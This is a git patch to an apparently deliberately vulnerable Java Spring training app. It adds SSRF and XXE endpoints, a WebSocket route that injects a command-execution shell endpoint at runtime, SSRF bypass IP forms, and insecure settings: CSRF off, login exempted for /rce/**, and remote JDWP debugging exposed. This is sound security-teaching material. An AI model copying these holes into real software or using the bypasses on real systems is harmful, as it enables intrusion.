+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com */ @GetMapping("/IOUtils/sec") public String IOUtils(String url) { @@ -274,10 +269,10 @@ public String HttpSyncClients(@RequestParam("url") String url) { /** - * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com

- * Only support HTTP protocol.

- * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects

- * User-Agent: Java/1.8.0_102

+ * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com */ @GetMapping("/restTemplate/vuln1") public String RestTemplateUrlBanRedirects(String url){ @@ -296,12 +291,9 @@ public String RestTemplateUrl(String url){ /** - * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com

- * UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool

- * Redirects: Do not follow redirects

- * - * @param url url - * @return contents of url + * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool. + * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com */ @GetMapping("/hutool/vuln") public String hutoolHttp(String url){ @@ -309,4 +301,18 @@ public String hutoolHttp(String url){ } + /** + * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url + */ + @GetMapping("/dnsrebind/vuln") + public String DnsRebind(String url) { + java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Dangerous url"; + } + return HttpUtil.get(url); + } + + } diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java new file mode 100644 index 00000000..6a477ece --- /dev/null +++ b/src/main/java/org/joychou/controller/WebSockets.java @@ -0,0 +1,76 @@ +package org.joychou.controller; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.joychou.config.WebSocketsProxyEndpoint; +import org.joychou.config.WebSocketsCmdEndpoint; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + + +@RestController +public class WebSockets { + + /** + *

动态添加WebSockets实现命令执行

+ *

+ * 1. WebSocket的端口和Spring端口一致。
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。 + *

+ *

+ * http://localhost:8080/websocket/cmd?path=/ws/shell
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell + *

+ *

JoyChou @ 2023年02月20日

+ */ + @RequestMapping("/websocket/cmd") + public String cmdInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + + @RequestMapping("/websocket/proxy") + public String proxyInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + +} diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 931a5688..14b6a232 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -252,8 +252,9 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { sr.close(); return buf.toString(); } catch (Exception e) { + e.printStackTrace(); logger.error(e.toString()); - return EXCEPT; + return e.toString(); } } diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 9d90c698..414fd24d 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -34,6 +34,11 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Value("${joychou.security.csrf.exclude.url}") private String[] csrfExcludeUrl; + + @Value("${joychou.no.need.login.url}") + private String[] noNeedLoginUrl; + + @Value("${joychou.security.csrf.method}") private String[] csrfMethod = {"POST"}; @@ -69,7 +74,7 @@ protected void configure(HttpSecurity http) throws Exception { // spring security login settings http.authorizeRequests() - .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + .antMatchers(noNeedLoginUrl).permitAll() // no need to login page // CVE-2022-22978漏洞代码 .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden .anyRequest().authenticated().and() // any request authenticated except above static resources diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 0930e2b5..70f744ad 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -16,7 +16,8 @@ public class SSRFChecker { - private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static String decimalIp; public static boolean checkURLFckSSRF(String url) { if (null == url) { @@ -125,7 +126,7 @@ public static boolean isInternalIpByUrl(String url) { * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ - static boolean isInternalIp(String strIP) { + public static boolean isInternalIp(String strIP) { if (StringUtils.isEmpty(strIP)) { logger.error("[-] SSRF check failed. IP is empty. " + strIP); return true; @@ -144,15 +145,43 @@ static boolean isInternalIp(String strIP) { } + /** - * host转换为IP - * 会将各种进制的ip转为正常ip - * 167772161 转换为 10.0.0.1 - * 127.0.0.1.xip.io 转换为 127.0.0.1 + * Convert host to decimal ip. + * Since there is a bypass in octal using {@link InetAddress#getHostAddress()}, + * the function of converting octal to decimal is added. + * If it still can be bypassed, please submit + * PullRequests or + * Issues.
* - * @param host 域名host + *

Normal:

+ *
    + *
  • 69299689 to 10.23.78.233
  • + *
  • 69299689 to 10.23.78.233
  • + *
  • 012.0x17.78.233 to 10.23.78.233
  • + *
  • 012.027.0116.0351 to 10.23.78.233
  • + *
  • 127.0.0.1.xip.io to 127.0.0.1
  • + *
  • 127.0.0.1.nip.io to 127.0.0.1
  • + *
+ + *

Bypass:

+ *
    + *
  • 01205647351 to 71.220.183.247, actually 10.23.78.233
  • + *
  • 012.23.78.233 to 12.23.78.233, actually 10.23.78.233
  • + *
+ * @return decimal ip */ - private static String host2ip(String host) { + public static String host2ip(String host) { + + if (null == host) { + return ""; + } + + // convert octal to decimal + if(isOctalIP(host)) { + host = decimalIp; + } + try { InetAddress IpAddress = InetAddress.getByName(host); // send dns request return IpAddress.getHostAddress(); @@ -161,14 +190,90 @@ private static String host2ip(String host) { } } + /** - * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 - * - * @param url http的url + * Check whether the host is an octal IP, if so, convert it to decimal. + * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. + */ + public static boolean isOctalIP(String host) { + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + if (ipParts.length != 1 && ipParts.length != 4) { + return false; + } + + // 000000001205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; + } + + // 0000012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + throw new SSRFException("Illegal host: " + host + "."); + } + if (ip.startsWith("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255."); + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + throw new SSRFException("Illegal host: " + host + ".\t" + ip + " is above 255."); + } + newDecimalIP.append(ip).append("."); + } + } + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + } + return is_octal; + } + + /** + * Check string is a number. + * @return If string is a number 0-9, return true. Otherwise, return false. + */ + private static boolean isNumber(String str) { + if (null == str || "".equals(str)) { + return false; + } + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + if (ch < 48 || ch > 57) { + return false; + } + } + return true; + } + + + /** + * Check string is a number or dot. + * @return If string is a number or a dot, return true. Otherwise, return false. + */ + private static boolean isNumberOrDot(String s) { + for (int i = 0; i < s.length(); i++) { + char ch = s.charAt(i); + if ((ch < 48 || ch > 57) && ch != 46){ + return false; + } + } + return true; + } + + /** + * Get host from URL which the protocol must be http:// or https:// and not be //. */ private static String url2host(String url) { try { - // 使用URI,而非URL,防止被绕过。 + // use URI instead of URL URI u = new URI(url); if (SecurityUtil.isHttp(url)) { return u.getHost(); diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 96ca82c3..d5c6d5ab 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,5 +1,5 @@ -spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC spring.datasource.username=root spring.datasource.password=woshishujukumima spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver @@ -14,7 +14,7 @@ endpoints.enabled=true # logging.config=classpath:logback-online.xml -# 业务的callback参数,不支持多个 +# jsonp callback parameter joychou.business.callback = callback_ @@ -28,19 +28,30 @@ joychou.security.referer.uri = /jsonp/** ### csrf configuration begins ### # csrf token check -joychou.security.csrf.enabled = true +joychou.security.csrf.enabled = false # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### -### jsonp configuration begins ### # auto convert json to jsonp +### jsonp configuration begins ### +# auto convert json to jsonp # referer check joychou.security.jsonp.referer.check.enabled = true joychou.security.jsonp.callback = callback, _callback ### jsonp configuration ends ### # swagger -swagger.enable = true \ No newline at end of file +swagger.enable = true + + +### no need to login page begins ### +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/** +### no need to login page ends ### + + + +# http header max size +#server.max-http-header-size=30000 From 621c30050f82379afe1e2e6d4ff66c1234f33913 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 15 Mar 2023 18:55:18 +0800 Subject: [PATCH 08/15] Add XXE --- docker-compose.yml | 4 +- java-sec-code.iml | 20 +++-- pom.xml | 18 ++++ .../org/joychou/controller/URLWhiteList.java | 19 +++-- src/main/java/org/joychou/controller/XXE.java | 82 ++++++++----------- .../joychou/security/ssrf/SSRFChecker.java | 31 +++---- src/main/java/org/joychou/util/HttpUtils.java | 1 - src/main/java/org/joychou/util/WebUtils.java | 5 +- 8 files changed, 98 insertions(+), 82 deletions(-) diff --git a/docker-compose.yml b/docker-compose.yml index cb3f8efa..7e9c878e 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,9 +1,11 @@ -version : '2' +version : '3' services: jsc: image: joychou/jsc:latest + command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] ports: - "8080:8080" + - "8000:8000" links: - j_mysql diff --git a/java-sec-code.iml b/java-sec-code.iml index 6e093293..a20476ae 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -38,13 +38,13 @@ - - - - + + + + @@ -127,7 +127,7 @@ - + @@ -170,8 +170,8 @@ - - + + @@ -222,5 +222,11 @@ + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 43c5b99a..9ee03372 100644 --- a/pom.xml +++ b/pom.xml @@ -12,6 +12,7 @@ 1.8 1.8 + 8.5.85 @@ -312,6 +313,23 @@ 3.27.0-GA + + org.springframework.data + spring-data-commons + 1.13.11.RELEASE + + + + com.jayway.jsonpath + json-path + + + + org.xmlbeam + xmlprojector + 1.4.13 + + diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 35d37576..156cc73d 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -6,7 +6,8 @@ import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; -import java.net.MalformedURLException; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; @@ -86,20 +87,21 @@ public String regex(@RequestParam("url") String url) { /** - * The bypass of using java.net.URL to getHost. + * The bypass of using {@link java.net.URL} to getHost. *

- * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' - * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * bypass 1 + * bypass 2 + * *

- * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + * More details */ @GetMapping("/vuln/url_bypass") - public String url_bypass(String url) throws MalformedURLException { + public void url_bypass(String url, HttpServletResponse res) throws IOException { logger.info("url: " + url); if (!SecurityUtil.isHttp(url)) { - return "Url is not http or https"; + return; } URL u = new URL(url); @@ -109,11 +111,10 @@ public String url_bypass(String url) throws MalformedURLException { // endsWith . for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { - return "Good url."; + res.sendRedirect(url); } } - return "Bad url."; } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 14b6a232..36372727 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -4,6 +4,9 @@ import org.dom4j.io.SAXReader; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.data.web.ProjectedPayload; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -27,6 +30,7 @@ import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; import org.joychou.util.WebUtils; +import org.xmlbeam.annotation.XBRead; /** * Java xxe vuln and security code. @@ -38,8 +42,8 @@ @RequestMapping("/xxe") public class XXE { - private static Logger logger = LoggerFactory.getLogger(XXE.class); - private static String EXCEPT = "xxe except"; + private static final Logger logger = LoggerFactory.getLogger(XXE.class); + private static final String EXCEPT = "xxe except"; @PostMapping("/xmlReader/vuln") public String xmlReaderVuln(HttpServletRequest request) { @@ -226,16 +230,15 @@ public String DigesterSec(HttpServletRequest request) { } - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) + /** + * Use request.getInputStream to support UTF16 encoding. + */ + @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) public String DocumentBuilderVuln01(HttpServletRequest request) { try { - String body = WebUtils.getRequestBody(request); - logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); + InputSource is = new InputSource(request.getInputStream()); Document document = db.parse(is); // parse xml // 遍历xml节点name和value @@ -249,7 +252,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } - sr.close(); return buf.toString(); } catch (Exception e) { e.printStackTrace(); @@ -258,43 +260,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { } } - - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) - public String DocumentBuilderVuln02(HttpServletRequest request) { - try { - String body = WebUtils.getRequestBody(request); - logger.info(body); - - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); - DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml - - // 遍历xml节点name和value - StringBuilder result = new StringBuilder(); - NodeList rootNodeList = document.getChildNodes(); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList child = rootNode.getChildNodes(); - for (int j = 0; j < child.getLength(); j++) { - Node node = child.item(j); - // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); - } - } - } - sr.close(); - return result.toString(); - } catch (Exception e) { - logger.error(e.toString()); - return EXCEPT; - } - } - - @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) public String DocumentBuilderSec(HttpServletRequest request) { try { @@ -447,6 +412,31 @@ private static void response(NodeList rootNodeList){ } } + /** + * Receiving POST requests supporting both JSON and XML. + * CVE-2018-1259 + */ + @PostMapping(value = "/xmlbeam/vuln") + HttpEntity post(@RequestBody UserPayload user) { + try { + logger.info(user.toString()); + return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); + }catch (Exception e){ + e.printStackTrace(); + return ResponseEntity.ok("error"); + } + } + + /** + * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. + */ + @ProjectedPayload + public interface UserPayload { + @XBRead("//userName") + String getUserName(); + } + + public static void main(String[] args) { } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 70f744ad..71abc91e 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -157,7 +157,6 @@ public static boolean isInternalIp(String strIP) { *

Normal:

*